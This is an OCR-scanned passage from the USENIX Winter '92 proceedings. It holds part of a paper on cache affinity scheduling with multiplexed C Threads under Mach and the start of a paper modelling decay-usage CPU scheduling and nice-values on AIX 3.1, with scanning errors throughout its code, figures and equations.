The system used in our experiments is an Encore Multimax 510 with eight processors and has a 256K bytes
(second level, write-back) cache on each processor. Each processor also has a small, on-chip, write-through
first level cache; this first level cache is too small to be a factor here. For the second level cache, each cache
line is eight bytes long.

Figure 3.0 shows the synthetic test program. Initially, a distinct "footprint", a virtual memory area, is
allocated for each thread. Subsequently, all threads execute an identical loop, which consists of accessing
data in the footprint and then synchronizing at the barrier. The original C Threads library [Cooper87], as
supplied with Mach 2.5, is used to create the threads and to synchronize them at the end of each iteration.
The number of threads and the footprint size are the key parameters to the program. With long living
threads, repeated accesses to the same data, and frequent synchronization this benchmark typifies the most
suitable application for affinity scheduling, and hence it is an ideal choice for the purposes of this and next
sections.
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Since it is almost impossible to quantify affinity without extra hardware, we use a simple definition of
affinity. A thread has affinity only to the processor that ~an the thread most recently. Hence a thread has
affinity to at most one processor at a given time. We have .also employed a time factor to deal with threads
that might have been waiting for an external event such as terminal I/O. For the present discussion it is
irrelevant since the threads of the benchmark don't wait long enough to be affected by this factor.

The kernel has been modified to maintain affinity information for each thread. The dispatcher code has
been changed so that a processor now selects the highest-priority affinity thread if its priority is within a
predefined constant (priority-allowance) of the overall highest-priority thread. Otherwise the highest­
priority thread is chosen as usual.

To rapidly select the highest-priority affinity thread for a given processor, a set of affinity run queues
are used for each processor. These are in addition to the usual dispatcher run queues of Unix, and are
organizationally similar to the Unix run queues except that a processor's affinity run queues contain only
its affinity threads.

In our implementation, priority-allowance is defined in terms of Unix run queue levels and is set to
one for all measurements described here. We also experimented with other values and found a value of one
to be effective. Since thread priorities are dynamically adjusted in Mach based on their processor usage,
starvation is avoided. This low-overhead scheme, therefore, provides affinity scheduling without unduly
changing the characteristics of the Mach scheduler.

3.3 Measurements and modifications

To evaluate this original and successive modified versions of the affinity implementation, the test program is
run with and without affinity for various input parameter values, the number of threads and the "footprint"
for each thread. Results for 56K byte footprint,2 and for the numbers of threads ranging from 8 through
16 are shown in Figures 3.1 through 3.3. To facilitate further comparison, cross sections of these results
are also shown as bar charts in Figures 3.4 and 3.5.

Figure 3.1 shows the measurements for the affinity scheme described above. The erratic effects of
affinity scheduling can be seen to range from 25% improvement to 11% degradation. The improvement is
as much as 75% when 24 threads are used (this result is not shown in the figure). The following barrier
synchronization code played a crucial role in causing these inconsistencies.

mutex_lock(m) ;
if (barrier..reached)

condition_broadcast(c);
else

condition_vait(c, m);
mutex_unlock(m);

If the lock is unavailable mutex...1ock spins for a while and then goes into a "yield" loop. If the condition
is not set condition.Jlait spins first, yields next, and then finally blocks itself. In C Threads, yield is
implemented using the svtch..pri Mach call as shown below.

do {
svtch_pri(O) ;

} until (lock-free/condition-set)

2The patterns are similar for other footprint sizes.
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If there is another thread in the ready queue swtch-pri lowers the calling thread's priority to the lowest
possible and enters the dispatcher code; otherwise the call simply returns. Therefore yielding is better than
spinning (allows others to work) and yet less expensive than blocking (avoids context switch if no one else
can use the processor).

Two simple changes: An examination of the results and the above code showed that the inconsistent
scheduler performance is caused by the yield loop in condition.Jlait and the failure to restore priority
after swtch-pri call. The yield loop in condition.Jlait consumes a large amount of time without a clear
advantage; spinning and blocking should adequately take care of performance concerns. This affected the
two scheduling algorithms differently due to differing conditions they require for a context switch. The
failure to restore priority after the .swtch-pri caused problems for our affinity scheme, which expects a
"normal" behavior of thread priorities. This problem appeared to be a bug in Mach 2.5. 3 Consequently,
we eliminated the yield loop in condition.Jlait 4 and restored priority after swtch-pri.

The benchmark measurements after these changes are shown in Figure 3.2. (Also, see "pri. rest."
results in Figures 3.4 and 3.5.) It can be seen that the run times have been reduced for affinity as well as
non-affinity. But most notably the non-affinity run time for 16 threads has decreased so much that now it
is almost the same as the affinity run time. On the other hand, affinity performance is now much better
than non-affinity performance at small numbers of threads, such as 10. These new inconsistencies made us
look for other problems.

Parallel wakeup: We found that the condition..broadcast wakes up waiting threads sequentially,
using Mach msg...send system calls, while holding a lock. Until the wakeup is finished none of the un­
blocked threads can make progress as they can't re-enter the mutex-region. Because of the long wakeup,
the condition..broadcast dominates the program's run time, and consequently the run time with and
without affinity is the same for large numbers of threads. So, we implemented a parallel wakeup in
condition..broadcast.

The measurements with parallel wakeup are shown in Figure 3.3. (Also, see "par. wkup" results in
Figures 3.4 and 3.5.) Once again, the run times have improved for both affinity and non-affinity, however
now the benchmark program's elapsed time is almost the same with or without the affinity in spite of
the fact that the test program is most suited for affinity scheduling. Further investigation revealed the two
remaining difficult problems.

Limitation of the Unix dispatcher model: Since placement of the ready-to-run threads on the kernel
run queue is serialized to preserve data structure integrity (even though the wakeup is now parallel in
condit ion..broadcast), as soon as a thread is placed on the queue, an idling processor grabs it for execution
even if it does not have affinity to the process. Clearly this is a limitation of the Unix dispatcher model
and has no easy fixes.

Pseudo-affinity caused by swtch.pri: With the kernel threads, yielding is still needed for efficiency
at least in some primitives (e.g., in mutex~ock). Because of yielding, a thread might run on a previously
non-affinity processor for a brief time during synchronization, and this duration is too short to establish a
useful cache state on the processor. Since it is difficult to quantify affinity, this weak pseudo-affinity must
be counted as the true affinity. For the synthetic benchmark, the following scenario causes a pseudo-affinity:
Two threads reach the mutex-Iock of the barrier code at the same time (see the code segment in Section
3.3) and therefore one of them goes into swtch-pri yield loop. Assuming more threads than processors, a
context switch occurs and the thread is put on the run queue at the lowest priority. Now another processor

3The scheduling priority is restored after sv~c14>ri in Mach 3.0 also.
4 Corresponds to ublkd wait" results in Figures 3.4 and 3.5.
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(which does not have affinity to the thread) continues execution of the thread after having placed its own
thread on the conditioIUlait queue. The thread simply enters the mutex-region and then blocks in
condition..Jlait. As the thread has not actually referenced any of its data during this brief execution, it
does not have a "true" affinity to the processor, but our affinity scheme must think so.

3.4 Other experiments

We also made measurements using several (e.g., 16) unrelated processes each running the synthetic bench­
mark with a single thread. Since there was no barrier synchronization, scheduling took place only when the
time-slice expired. Affinity had almost no effect since the time-slice is much longer than the cache-reload
time. To increase the frequency of scheduling we tried file I/O and inter-process communication (IPC).
Even then affinity had little effect since any I/O or IPC takes a lot longer than cache-reloads and as such
masks the effects of cache affinity. We concluded that cache affinity is relevant only for the multi-threaded
parallel programs on our platform. The next section describes the multiplexed threads package, the use of
affinity in the package, and how we resolved the two basic problems of the kernel implementation.

4 User-level implementation

We extended the coroutine-based version of the C Threads package to support multiplexing of coroutines
on multiple kernel threads. Since the mapping of user and kernel threads is more general than many to one,
the term coroutine (is no longer appropriate, and we hereafter refer to them as 'User threads. Programs using
the modified librar~..must specify how many kernel threads are to be used, but are otherwise unchanged;
The number ofkernel threads allocated should be equal to the number of processors available to the process,
and the kernel-level affinity (described above) prevents unnecessary movement of the kernel threads among
the processors. Scheduling or dispatching now implies attaching a user thread state to a kernel thread,
and blocking implies detaching a user thread state from a kernel thread. Now, kernel threads do not block
except for time-sharing purposes.

How are the two problems solved? User-thread blocking is now sufficiently inexpensive that the yield
is unnecessary in synchronization primitives, so pseudo-affinity is no longer a concern. Next, even though
idle kernel threads of the new threads package seek user threads just as processors do in the kernel, an
atomic unblocking of all waiting threads works around the limitation of the dispatcher model. Because of
the atomic unblocking, an idle kernel thread seeking a runnable user thread now has an opportunity to
select an affinity thread among the simultaneously unblocked threads.

FCFS affinity: Within the threads package, there is no notion of priorities, each kernel thread selects
a user thread on a first come, first served (FCFS) basis. The affinity policy simply requires that a kernel
thread first look for an affinity user thread and if found, run it in preference of others. This we call FCFS
affinity. We ran the benchmark measurements with and without FCFS affinity. The results are shown in
Figure 4.1. As before, a cross section of results are also shown as bar charts in Figures 4.3 and 4.4. It can
be seen that the use of the multiplexed threads alone improved performance, and the use of affinity in the
threads package made it even better.

Last process affinity: In Figure 4.1, one can see that the non-affinity, multiplexed threads package
performed even more poorly than the original kernel threads package at small numbers of threads (e.g.,
eight). To address this problem we made one further improvement, whereby a kernel thread does not
relinquish a user thread if no other user threads are runnable. Note that by not relinquishing a waiting

USENIX - Winter '92 351



Issues in Implementation of ••• Devarakonda,~ukherjee

No..Affinity ­
Affinity -

nsr fefs t=:l

USf lastp~

2000,1600,1200,400 800, ,

std pkg I.~~..~.•---
par. wkup "I~~~..

running time (sees)
1100 .--r-~-r--,---r-~.....,.."""""'T--'--'

1000
900
800
700
600
500
400
300
200
100 ��__....a-...Io- ........---"'--'I....-""'-........-'- _

8 9 10 11 12 13 14 15 16 17 18
num. of threads

Fig. 4.1: Multiplexed threads, FCFS scheme.
Fig. 4.3: Running times in seconds for 16 threads
(shaded =non-affinity, unshaded =affinity).

No..Aftinity ­
Affinity -

Fig. 4.4: Running times in seconds for 10 threads
(shaded =non-affinity, unshaded = affinity).

700
I

600,500,400,

usr fefs ~I~'I---

usr lastp c::::::::J

par. wkup I.~~~~.

800

700

600

500

400

300

200
100 L..-""--"'--....&.....-'--.....I-..........--I---L----L--I

8 9 10 11 12 13 14 15 16 17 18
num. of threads

Fig. 4.2: Effects of the last processor scheme.

running time (sees)900 r-.......-....---.---.----r----.,-.-.....-....- __

352 USENIX - Winter '92



Devarakonda, Mukherjee Issues in Implementation of ...

p. ,." ••
·o~·· .

:....o.
.o~:·.

·0

. .0. . . . ~

........~.
.T·.

o

;t••

.
.....~.

No..Aft'(StcLPkg) ~
Aff(StcLPkg) +..

No..Aft'(ParaUelWake) oS­
Aff(ParalleIWake) ·x·

Aff(FCFS) .&. 0

No..Aff(LastProc) "*­
Aff(LastProc) ·0·

400

200 0

600

800

1000

1200

1400

1600

1800

Running time (secs)
2000 __----,r----.,-----.--~--__r--__r--_r--_r--~--....,

O'-----..I---.....I------'------L-__L-..__..I-__..J-__---'-__----I__----I

8 9 10 11 12 13 14 15 16 17 18
Number of Threads

Figure 4.5: Running times of the test program as the number of threads parameter is varied from 8
through 18 (56K bytes footprint). Different lines correspond to selected versions of the C Threads package,
with and" without affinity.

USENIX - Winter '92 353



·

· -
r-- ..- 0

· ." ." 0 -
." ." 0 ."

." fo-'" 0 ."..- .,,-0 ." 0 ." 0

0 .,,- 0 .,,- 0 ."

0 ." 0 -It 0 ."

0 ." 0 -It 0 ."

0 ." 0 ." 0 ."

· 0 ." 0 .... 0 ."

0 ." 0 ... 0 ...
· 0 .... 0 ... 0 ...

0 ." 0 ." 0 ."

· 0 ." 0 ." 0 ."

0 ." 0 ." 0 .".-

Issues in Implementation of ...

100

90

80

70

60
Relative
Running 50

Time
40

30

20

10

0
56 128 200

Devarakonda,~ukberjee

Footprint size (Kbytes)

Figure 4.6: Effects of footprint size (solid =FCFS, 0 =FCFS with affinity,
* =last process, unshaded = last process plus FCFS affinity)

user-thread, the kernel thread is in effect forcing the user thread to spin rather than block. However, the
benefit of this scheme is not so much in avoiding the "context switch" but in retaining the affinity between
the user and kernel threads (because switching from one user thread to another or between a user thread
and idle context is a light weight operation). With this enhancement, "non-affinity" scheduling becomes
last process scheduling, and "affinity" scheduling becomes last process plus FCFS affinity scheduling. This
scheme provided a consistent, significant performance improvement for all input values of the test program
(see Figures 4.2, 4.3, and 4.4).

Figures 3.1 through 3.3 and Figures 4.1 and 4.2 put together provide a good comparison of successive
improvements. A selected set of these results is also shown in Figure 4.5 to bring out the contrast.
These plots clearly show that we successfully exploited the inherent affinity of the benchmark in the end.
Furthermore notice the flatness of the plots in Figure 4.2 for the numbers of threads ranging from 9 through
16 as contrasted with the steep incline of the plots in Figure 3.1. (It can also be seen in Figure 4.5.) This
difference in the slope implies a low-overhead management of thre~ds in the new package.

4.1 Effects of footprint size

So far, we have shown results for the case where each thread has a 56K byte footprint in the cache, which is
a.1ittle over one-fifth of the cache size. Figure 4.6 shows the effects of having larger footprints. Results are
only shown for 16 threads, but the pattern is similar for the others. As the footprint becomes large (relative
to the cache size), the need for last-process affinity becomes particularly important because footprints for
more than one thread cannot completely fit into the processor cache. However, at low footprint sizes the
FCFS affinity is more successful than the last process affinity because FCFS affinity has less overhead than
the last process affinity. All schemes with some degree of affinity significantly outperform the non-affinity
FCFS selection. The next section presents measurements using real applications.
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5 Real applications

The two applications used here are in stark contrast to each other. Intrinsically, the thinning algorithm is
the most suitable for affinity scheduling, and the parallel merge sort is an exact opposite of it. Note that
there is one serious problem with the Multimax cache organization that may have affected the running
times of the real programs, and hence may have reduced the positive effects of affinity. The cache is a
direct-mapped real address cache, and consequently two contiguous virtual pages may map to real pages
that conflict in cache. Our measurements showed high probability of cache thrashing even for a footprint
of two virtual pages (Mach uses 8K byte pages). By controlling the allocation of real pages, we avoided
this problem in the synthetic benchmark (it can't be done easily for real applications).

Thinning digital patterns: Thinning of digital patterns is common in image processing. A digital
pattern is represented by a matrix of D's and l's, where l's denote "on" pixels, and a thinning algorithm
turns off "on" pixels if their neighbors satisfy certain criteria. The goal is to retain the structure of the
image while getting rid of the clutter. We implemented the parallel algorithm described in [Lu86] and
[Zhang84] with minor changes. The algorithm works iteratively, terminating when no more pixels can be
turned off. The matrix is divided into n 2 sub-blocks, and each thread of the program works on a sub-block.
The program's structure is similar to our test program: fixed, long living threads and repetitive barrier
synchronization. Furthermore, as thinning occurs along the horizontal or vertical edges, the larger the
number of threads, the faster it runs. For the same reason, the square sub-blocks strategy is better than a
linear division approach.

Thinning of a 256x256 pattern shaped like a thick '0' using 16 threads took 25.17, 18.45, and 16.35
seconds for the following three schemes respectively: the unmodified C Threads with kernel-level affinity,
non-affinity multiplexed threads, and the last-process plus FCFS affinity. The multiplexed threads package
alone improved the running time by about 36%, and the affinity provided a further 12% improvement. (See
Figure 5.1.) The positive impact of the multiplexed threads package increases with the number of threads
(because of light-weight synchronization) and decreases with input pattern size (because of increased com­
putation and data access per barrier synchronization). The effect of affinity remains unchanged for most
numbers of threads and input sizes.
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Parallel merge sort: The parallel sorting program is along the lines described in [Fox88]. Given a
linear array of numbers for sorting, the thread works as follows: If the number of elements is smaller than
a predefined value, N, then it sorts the numbers using the bubble sort and returns. Otherwise, it divides
the array in two halves, forks a child thread to sort the first half, and works recursively on the second half
in the same manner as on the original- checks size, forks a child to work on one half if necessary, and so
on. When the child finishes, the parent thread merges the two sorted halves of the array.

Note that the structure of the parallel sort is quite unlike that of the test program: variable, short-lived
threads, very little re-referencing of data within a thread, and no barrier synchronization. The results bear
out this characterization. To sort 131,072 random numbers using N = 256 as the limit for bubble sorting,
the program took 11.16, 8.29, and 8.34 seconds respectively for the same three schemes as in the thinning
program. While the use of multiplexed threads improved the run time by about 27%, the cache affinity
had no effect. Even though a typical thread rereferences its half of the array (because of sorting and then
merging), relative to thread management costs, cache affinity effects are negligible. As in the case of the
thinning algorithm, however, the performance impact of using the multiplexed threads package varies with
the number of threads used and the amount of work per thread. We found that 256 elements per thread
is optimal.

6 Concluding Remarks

Do the results generalize? Clearly, the dispatcher limitation problem is common to all Unix and Unix­
derived systems, and even in most non-Unix systems. Kernel dispatchers typically lack the necessary
flexibility or mechanisms for efficient management of application threads. It is difficult to say whether
a completely new scheduler/dispatcher structure can solve this problem effectively. A multiplexed user­
threads package is not only a general solution for this problem, but also an efficient one (as shown in
this paper). The avoidance of pseudo-affinity is a concern in any threads package when affinity can't be
quantified. Perhaps hardware support [Squillante90] can be used to quantify affinity and hence to deal
with pseudo-affinity. Until then the dispatcher and synchronization primitives must avoid scenarios causing
pseudo-affinity.

Is cache affinity scheduling worth the trouble? As caches become larger and faster relative to main
memory, the benefits of cache affinity scheduling will increase. However as we have pointed out only a
certain class of programs can exploit cache affinity. This makes it even more appropriate to implement affin­
ity scheduling in a threads package. Further examples of suitable applications are dynamic programming,
numerical relaxation methods, clustering algorithms, and image processing problems.
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Control Considerations for CPU Scheduling in UN/A Systems

Joseph L. Hellerstein
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Abstract

Managing UNlr systems1 often involves setting service rate objectives, such as specifying
that application A should receive 50% of the central processing unit (CPU). In most UNIX
systems, the only way to control CPU usage is by adjusting nice-values; unfortunately, the
relationship between nice-values and process service rates has been poorly understood. This
paper develops an analytic model that relates service rate objectives for compute-bound
processes to nice-values and three scheduler parameters: R (the rate at which priority in­
creases for each quantum of CPU consumed), D (the decay factor), and T (the number of
quanta that expire before CPU usages are decayed); the model is evaluated using measure­
ments of a workstation running IBM's Advanced Interactive Executive (AIX) 3.1 Operating
System. Based on the model, we develop an algorithm that calculates nice-values that achieve
service rate objectives for compute-bound processes. Experiments conducted on a production
AIX 3.1 system suggest that our algorithm works well in practice. In addition, we use the
model to obtain insights into the control implications of parameter settings. For example, we
show that the nice-mechanism is often less effective on faster processors since T tends to in­
crease with processor speed; this increases the fraction of time during which processes with
larger nice-values execute, and hence limits the extent to which their service rates can be con­
trolled.

1. Introduction

System administrators often adjust the CPU consumption of processes to achieve installation
objectives. Sometimes these objectives are informal, such as giving interactive editing prefer­
ence over long-running simulations. However, many production computer systems have more
formal objectives, such as requiring that application A receive 50% of the CPU. In most
UNIr systems, the only way to control CPU usage is by adjusting nice-values. Unfortu­
nately. the relationship between nice-values and process ser~ice rates has been poorly under­
stood, which has limited the ability of system administrators to achieve service rate objectives.

This paper describes an analytic model that relates nice-values to process service rates on
uni-processor systems, and evaluates the model based on measurements taken from an IBM
RISC SYSTEM/6000 workstation running IBM's AIXTM 3.1 Operating System. Throughout,
our emphasis is on compute-bound processes since our objective is to control service rates for
a numerically intensive workload with little 10. To this end. we use the model to develop an
algorithm that calculates nice-values that achieve service rate objectives for compute-bound
processes. The model also provides insights into the performance characteristics of many
UNIX CPU schedulers, such as explaining why the nice-mechanism is often less effective on
faster processors.

1 UNIX is a registered trademark of UNIX System Laboratories. Inc. AIX is a trademark of IBM Corporation.
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A variety of approaches have been used to achieve service rate objectives in UNIX systems.
For example, in [7] and [4], the UNIX scheduler is modified so that process priorities change
based on the relationship between the user's CPU consumption and the installation's service
rate objectives for that user (in the form of processor shares); [13] employs similar objectives
but uses a simple heuristic to manipulate nice-values instead of requiring scheduler modifica­
tions; and [9J describes a scheduler that incorporates tuning parameters that can ·be adjusted
to control service rates. In all cases, measurements are presented to illustrate how the sched­
uler operates in practice, but there is no underlying theory; as such, there is little understand­
ing of the circumstances under which objectives can be met. While there is a good
understanding of how to achieve response time objectives in fIXed priority queueing systems
(e.g., [5], [14], [6]), most UNIX systems employ a decay-usage scheduler, which differs con­
siderably from a fIXed priority scheduler. Indeed, although analytic models of UNIX systems
have been constructed (e.g., [12]), to the best of our knowledge only the model in [2] specif­
ically addresses decay-usage scheduling. The approach taken in this model is simple and fairly
general. Unfortunately, it does not consider process starvation, nor does it permit analyzing
transient behavior; both of these considerations are important in the analysis of our algorithm
for controlling process service rates and in our study of scheduler parameters.

The remainder of this paper is organized as follows. Section 2 provides a generic de­
scription of the decay-usage CPU scheduling that is employed in most UNIX systems. Based
on this description, section 3 develops and evaluates an analytic model for the service rates
of compute-bound processes. Section 4 uses this model to explore the effect on performance
of scheduler parameterizations, and section 5 exploits the model to construct an algorithm that
calculates nice-values that achieve service rate objectives for compute-bound processes. Our
conclusions are contained in section 6.

2. Decay-Usage Scheduling in UNIX

Decay-usage CPU scheduling is widely used in UNIX systems (e.g., AIX 3.1 [8], System V
[1], and BSD [10]), and similar mechanisms are employed in the Mach Operating System
[2] and the Condor System Distributed Processing System [11]. This section provides a de­
tailed but fairly general description of decay-usage scheduling, with an emphasis on compute­
bound processes.

Decay-usage scheduling is motivated by two concerns: fairness and performance. Fairness
is achieved by awarding CPU quanta (or tics) to processes that have received few tics in the
recent past. Such an approach can improve performance as well. For example, compute­
bound processes accumulate tics at a faster rate than IO-bound processes; so IO-bound
processes tend to'" be dispatched before compute-bound processes, thereby improving
throughput by overlapping CPU and disk activity. In addition, response time is improved by
executing frrst processes with smaller CPU requirements, since this approximates a short-job­
frrst policy (which is known to minimize response times).

Decay-usage scheduling is typically implemented as a priority scheme in which processes
with the smallest numeric priorities execute f11'st. We provide a generic description of this
approach. This description assumes that the operating system maintains three pieces of in­
formation for each process:
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p_userpri - process priority
p_cpu - accumulated CPU
p_nice - external adjustment to priority

Control Considerations for __

Scheduling actions take place after each of two events. The frrst event is a quantum expira­
tion, after which the operating system updates the accumulated CPU of the executing process
as well as its priority. Specifically,

p_cpu = p_cpu + 1;
p_userpri = R*p_cpu + p_nice;
Dispatch the process with the smallest p_userpri;

(In AIX 3.1, R = .5.) The second event occurs at flXed wall-clock intervals (e.g., once a sec­
ond), and involves decaying the accumulated CPU of all processes. We refer to the time be­
tween these events as a decay cycle, which consists of T quanta. The actions taken are:

for all processes
p_cpu = p_cpu/D;
p_userpri = R*p_cpu + p_nice;

Dispatch the process with the smallest p_userpri;

(In AIX 3.1, D = 2.) We note that the foregoing description ignores many details, such as the
offset for user priorities and the maximum value for process priorities. However, for the case
of interest to us -- compute-bound processes -- the above description suffices.

As described, a decay-usage CPU scheduler has three parameters: T, the number of quanta
in a decay cycle; R, the rate at which priority increases for a quantum of CPU consumed; and
D, the factor by which past CPU usage is decayed (D > 1). The values of these parameters are
system dependent. For example, in AIX 3: T= 100, R = .5, and D = 2; and in System V on
a VAX: T = 60, R = .5, and D = 2. CPU scheduling in 4.3 BSD fits into the paradigm described
above, but the parameters used are a bit more complex (e.g., D is a function of load).

Figure 1 depicts the operation of a decay-usage scheduler employing the parameters used
in AIX 3.1. We consider a situation in which two processes (A and B) enter the run queue
at the beginning of the same decay cycle. Process A has a- nice value of 15, and Process B's
nice value is 5. The figure displays a sequence of four plots, each ofwhich represents a decay
cycle. The x-axis is the CPU tic within the decay cycle, and the y-axis is process priority. (For
simplicity, we use a continuous approximation to the discrete values that would be obtained
in practice.) Below the plots are two tables that specify the values of accumulated CPU
(p_cpu) and process priority (p_userpri) at the beginning and end of each decay cycle depicted.

The frrst plot in Figure 1 is the decay cycle in which the processes begin execution. When
A and B arrive, their priorities are equal to their nice-values. Since the scheduler executes the
process with the lowest priority, B executes until it has acquired enough tics so that it has a
priority of 15. We refer to this period as the frrst epoch of the decay cycle, and denote its du­
ration by T.( 1). (The subscript refers to the epoch and the number in parentheses to the decay
cycle.) Clearly, T.( 1) = 20. In Figure 1, each decay cycle contains two epochs. The second
epoch of the frrst decay cycle has duration T2(1) = T - T.(I); during this epoch, A and B obtain
equal fractions of the CPU. Thus, at the end of the frrst decay cycle, B has accumulated
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Figure 1. Illustration of Scheduler Operation

20 + 40 = 60 tics, and A has 40. Before the second decay cycle starts, p_cpu is divided by D;
so at the beginning of the second,decay cycle, A's p_cpu is 40/2 = 20 and B's is 60/2 = 30. The
priority calculation fonnula is then applied, producing a priority of.5 x 20 + 15 = 25 for A and
.5 x 30 + 5 = 20 for B. We say that a process stabilizes if its priority at the beginning of a
decay cycle is constant. In Figure 1, this constant for process A is 45, and it is 55 for process
B. If all processes stabilize, we say that the system achieves steady state.

Going beyond the specifics of compute-bound processes, we note that decay-usage sched­
uling is in some sense a generalization of several other scheduling disciplines. For example,
round-robin scheduling is achieved by setting R to 1, T to the number of processes in the run
queue, p_nice to 0, and D to 00. By so doing, each process executes exactly once during a de­
cay cycle, after which its p_cpu is set to 0 and the same behavior is repeated. Fixed priority
scheduling (with round-robin within each priority level) is accommodated by having p_nice

362 USENIX - Winter '92



Hellerstein Control Considerations lor ...

specify the fIXed priorities, setting T to the number of processes in the run queue with the
smallest nice-value, and keeping the round-robin settings for Rand D. Lastly, some schedulers,
such as IBM's Multiple Virtual Storage (MVS) Operating System, set dispatch priorities based
on a step function of cumulative usage (without decays). Such an approach is achieved by
having T= 00 and generalizing R so that it is a function ofp_cpu with steps at the usage levels
for which there are priority transitions.

3. Analytic Model

This section develops an analytic model that relates nice-values and the scheduler parameters
R, T, and D to process service rates. Our approach is to translate the situation described in
Figure 1 into equations, with appropriate generalizations so as to consider an arbitrary num­
ber of processes and nice-values. We begin by modelling transient behavior and then develop
closed-form expressions for steady-state performance metrics. Following this, we evaluate the
accuracy of the steady-state model by comparing its predictions with measurements taken
from an AIX 3.1 system.

The CPU received during a decay cycle by a compute-bound process is determined by its
p_cpu at the beginning of the decay cycle and by its p_Dice. We assume that nice-values and
the set of processes do not change during a decay cycle. Also, for convenience, we group
processes into classes with the same values of p_Dice and p_cpu at the beginning of a decay
cycle. Let N.(n) be the nice-value for a class k process at the beginning of the n-th decay cycle,
V.(n) be its decayed CPU, and M.(n) be the number of processes in this class. We consider a
total of K classes, and assume that class indices are re-computed at the beginning of each de­
cay cycle so that

N1(n) + RV1(n) < ... < Nx(n) + RVx(n).

Our objective is to compute e.(n), the number of quanta consumed by a class k process during
the n-th decay cycle. .

To develop our model, we consider the detailed operation of a decay-usage scheduler. As
noted in Figure 1, a decay cycle can be partitioned into a sequence of epochs during which
only a subset of the classes receive CPU. We use T.(n) to denote the duration of the k-th
epoch of the n-th decay cycle. During the frrst epoch of the n-th decay cycle, processes in class
1 execute in a round-robin manner until all class 1 processes have accumulated sufficient CPU
so that their priority equals that of a class 2 process. By defmition, Tl(n) S T. If Tl(n) < T, the
decay cycle contains a second epoch, during which processes in classes 1 and 2 execute in a
round-robin fashion; and so on.

To generalize, let T.-l(n) = Tl(n) + ... + T._l(n). If T._l(n) < T, there is a k-th epoch. Dur­
ing the k-th ep~ch, only processes in classes 1, ... , k receive CPU, and the CPU is shared
equally among M.(n) = M,(n) + ... + M.(n) processes. So, using a contjnuous approximation
to discrete values, each process in classes 1, "'l k accumulates T.(n)/M. tics during the k-th
epoch, which increments its priority by RTIt(n)/MIt. A class k process does not receive any tics
until th~ k-th epoch; thus, when this epoch ends, a' class k process has a priority of
RT.(n)/M.(n) + RVJ.n) + N.(n). Also, at the end of the k-th epoch, a class k process has the
same priority as a process in claSJ k + 1. (This follows from the defmition of an epoch.) That
is,
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RTk(n)
1\ + RVin) + Nin) = RVk+ t(n) + Nk+ t(n).

Mk(n)

Recall that Tk(n) is constrained by Tin that T~n) S T- Tk-l(n). Incorporating this constraint,
we have

(1)

(2)

(Note that if Tkl(n) = 0 and k ~ kl, then Tk(n) = 0.) To solve for C~n), we must compute Vk(n)
arid Vk + len). This can be done recursively.

Ck'(n - 1) + Vk'(n - 1)
Vk(n) = D '

where k' is the index of class k in the n - I-st decay cycle. To calculate Ck(n), note that class
k receives CPU during Tk(n) + ... + Tg(n), and so

~ 1j(n)
Cin) = LJ 1\ • (3)

J=k ~(n)

Thus, if the set of processes and their nice-values do not change during decay-cycles 1, ... , n,
we can use Eq. (1), (2), and (3) to calcula.te Ck(n) if we are given NIc(l), Mk(l), and Vk(l) for
k = 1, ... ,K.

We now tum to steady-state measures. We assume that if MIc(n) and NIe(n) do not change,
the system eventually reaches steady-state. Let CIe , Vic, and Tie denote, respectively, the
steady-state values of CIc(n), VIe{n) , and TIe(n). In steady state, process classes are determined
solely by NI, ... ,Ng , where NI < ... < Ng • Furthermore, the epochs in which a process executes
do not change; specifically, class k processes execute in epochs k, ... ,K. Under these circum­
stances, Eq. (2) can be simplified.

Applying this to Eq. (1) and (3), we have

(4)

for k < K and Tie S T - Tie-I' Since this equation is sufficient for our analysis of process
starvation, we simplify matters i!1 the sequel by assuming that all processes receive CPU during
a decay cycle. Thus, Tg = T - Tg - I • To obtain CIe , note that
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So

X-I 1\

_" 1j T-Tx _ I
Ck - i..J 1\ + 1\

J=k ~ Mx
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(5)

From Eq. (5), a variety ofperfonnance metrics can be obtained. For example, let E. be the
expansion factor for a class k process. Then,

T
Ek = C

k
•

Further, let Sic denote the fraction of the CPU obtained by a class k process:

Ck
Sk=r

1
= E

k
•

(6)

(7)

If Sic is multiplied by the processor's rate of delivery, we obtain the service rate for a class k
process. Since the processor's rate of delivery can be viewed as a constant, we use synon­
ymously the terms service rate and service fraction.

When K = 2, a performance metric of particular interest is the CPU consumed by a class
1 process relative to that of class 2 process, or CdC"J' Clearly, CdC"J = Sl/S2 = E"J/E1• Substitut­
ing and simplifying, we have

Ct RTD/(D - 1) + (N2 - N t )M2

C2 = RTD/(D - 1) - (N2 - NI)Mt •
(8)

365

(The denominator cannot be negative since r.. S; T and Eq. (4) together imply that
RTD ~ (N2 - N1)M1(D - 1).) Note that CdC2 ~ 1; CdC2 = 1 only when N1 = N2• Also note that
the CPU ratio depends only on the difference in nice-values, not their absolute magnitudes.
This observation holds for the case of K classes as well, which can be seen from Eq. (4).

To evaluate our model, we conducted experiments on a stand-alone workstation running
the AIX 3.1 operating system (i.e., T = 100, R = .5, and D = 2). We considered two process
classes, and measured Cd C"J' In all experiments, N1 = 0 and M"J = 1. Our suite of experiments
consisted of eighteen cases: six values of N2 (5, 10, 12 , 14, and 15) in combination with three
values of M1 (2, 4, and 6). An experiment involved executing concurrently M1 + M2 compute­
bound processes; each process consisted of a single for loop in the C language. The time
command was used to measure process response times and CPU requirements, from which
expansion factors were computed, and hence CdC2• To assess variability, the suite of exper­
iments was repeated three times; to reduce bias, experiments were run in a different randomly
chosen order in each repetition of the suite, with a five minute delay between experiments.
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Figure 2. Evaluation Studies for Analytic Model

Figure 2 displays the results of our study. There is a separate plot for each value of MI.
Each plot depicts the relationship between N2 - NI (x-axis) and CdC2 (y-axis); measured values
are indicated by dots, and values predicted by the model are specified by the solid lines. Since
we repeated each experiment three times, each nice-value considered in a plot has three dots.
For the most part, however, the three dots are coincident, suggesting that there is little vari­
ability in our measurements. Comparing the solid line with the dots, we see that our model
is quite accurate, with the exception of the two largest nice-values in the M I = 6 plot. For
N2 = 14, the model over-estimates Cl/C2 by 200/0, and by 33% for N2 = 15. While these dis­
crepancies are large, their significance may be small in terms of achieving service rate objec­
tives. When N2 = 14, class 2 receives approximately 30/0 of the CPU; thus, the error introduced
by the model is less than 1% of the CPU. For N2 = 15, the model errs in its prediction of
Cd C2 by a larger amount, but the corresponding CPU fraction is smaller ( < 20/0).

Before concluding this section, we emphasize two limitations of our model. First, the model
only applies to compute-bound processes. Generalizing the model to non-compute bound
processes re.quires that we consider the duration of each request for the CPU and the interval

. between these requests. A second, and perhaps more subtle, restriction is that the model uses
a continuous approximation to discrete values. This approximation works well in general, but
